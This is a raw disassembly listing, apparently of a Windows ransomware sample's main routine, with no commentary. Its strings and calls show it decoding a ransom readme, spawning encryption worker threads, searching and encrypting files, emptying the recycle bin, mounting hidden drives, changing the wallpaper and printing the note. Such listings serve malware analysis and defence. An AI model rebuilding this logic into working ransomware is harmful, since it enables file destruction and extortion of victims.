mov eax, dword [ebp - 8]
mov dword [0x42a340], esi
push ecx
mov byte [esi + eax], 0
call fcn.00406270
add esp, 4
mov dword [0x42a340], eax
cmp byte [0x42a33c], 0
je 0x4080a4
push str.___Successfully_decoded_readme__n
call fcn.00401330
add esp, 4
push 0x42a34c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x42a360]
push 0
push 0
push 0
push 0xffffffffffffffff
lea edi, [eax*4]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x42a344], eax
xor ecx, ecx
mov eax, edi
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00410c6a
add esp, 4
mov dword [0x42a348], eax
xor esi, esi
test edi, edi
jle 0x408123
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
nop word [eax + eax]
push 0
push 0
push dword [0x42a344]
push 0x405610
push 0
push 0
call ebx
mov ecx, dword [0x42a348]
mov dword [ecx + esi*4], eax
inc esi
cmp esi, edi
jl 0x408100
mov cl, byte [0x42a33c]
test cl, cl
je 0x408140
push str.___Threads_are_initialized__n
call fcn.00401330
mov cl, byte [0x42a33c]
add esp, 4
mov eax, dword [0x42a344]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x42a334], eax
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40819d
xor edi, edi
cmp dword [ebp - 0x14], edi
jbe 0x408272
lea esi, [edi*4]
test cl, cl
je 0x408180
push dword [esi + eax]
push str.___Searching_files_in__s_n
call fcn.004012f0
mov eax, dword [ebp - 0x18]
add esp, 8
mov ecx, dword [esi + eax]
call fcn.00404e10
inc edi
cmp edi, dword [ebp - 0x14]
jae 0x408272
mov eax, dword [ebp - 0x18]
mov cl, byte [0x42a33c]
jmp 0x408162
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x4081eb
xor edi, edi
cmp dword [ebp - 0x1c], edi
jbe 0x408272
nop
lea esi, [edi*4]
test cl, cl
je 0x4081ce
push dword [esi + eax]
push str.___Encrypting_file:__s_n
call fcn.004012f0
mov eax, dword [ebp - 0x20]
add esp, 8
mov ecx, dword [esi + eax]
call fcn.004058c0
inc edi
cmp edi, dword [ebp - 0x1c]
jae 0x408272
mov eax, dword [ebp - 0x20]
mov cl, byte [0x42a33c]
jmp 0x4081b0
test cl, cl
je 0x4081fc
push str.___Recycling_bin..._n
call fcn.004012f0
add esp, 4
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
cmp byte [0x42a33b], 0
je 0x40822c
cmp byte [0x42a33c], 0
je 0x408227
push str.___Loading_hidden_drives..._n
call fcn.004012f0
add esp, 4
call fcn.004049b0
cmp byte [0x42a33c], 0
je 0x40826d
push str.___Starting_full_encryption_in_5s
call fcn.004012f0
add esp, 4
mov esi, 5
push 0x3e8
call ebx
push 0x4255b8
call fcn.004012f0
add esp, 4
sub esi, 1
jne 0x408247
push 0x425f00
call fcn.004012f0
add esp, 4
call fcn.00405380
mov eax, dword [0x42a360]
mov esi, 0x42a330
lea edi, [eax*4]
push 0x3e8
call ebx
xor eax, eax
lock xadd dword [esi], eax
test eax, eax
jg 0x408283
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x188
push 0
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x188
mov ebx, eax
push 0
push ebx
call fcn.0040b3f0
add esp, 0xc
mov dword [ebx + 0x34], 4
test edi, edi
jle 0x4082de
mov esi, edi
push ebx
push 0
push 0
push dword [0x42a344]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
sub esi, 1
jne 0x4082c8
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0xffffffffffffffff
push 1
push dword [0x42a348]
push edi
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor esi, esi
test edi, edi
jle 0x40831f
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [eax + eax]
mov eax, dword [0x42a348]
push dword [eax + esi*4]
call ebx
inc esi
cmp esi, edi
jl 0x408310
cmp byte [ebp - 0xc], 0
jne 0x408340
cmp byte [0x42a33c], 0
je 0x40833b
push str.___Changing_background_image..._n
call fcn.004012f0
add esp, 4
call fcn.00406e00
cmp byte [ebp - 0xb], 0
jne 0x408361
cmp byte [0x42a33c], 0
je 0x40835c
push str.___Sending_note_to_printers..._n
call fcn.00401330
add esp, 4
call fcn.00407200
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a12a
mov esp, ebp
pop ebp
ret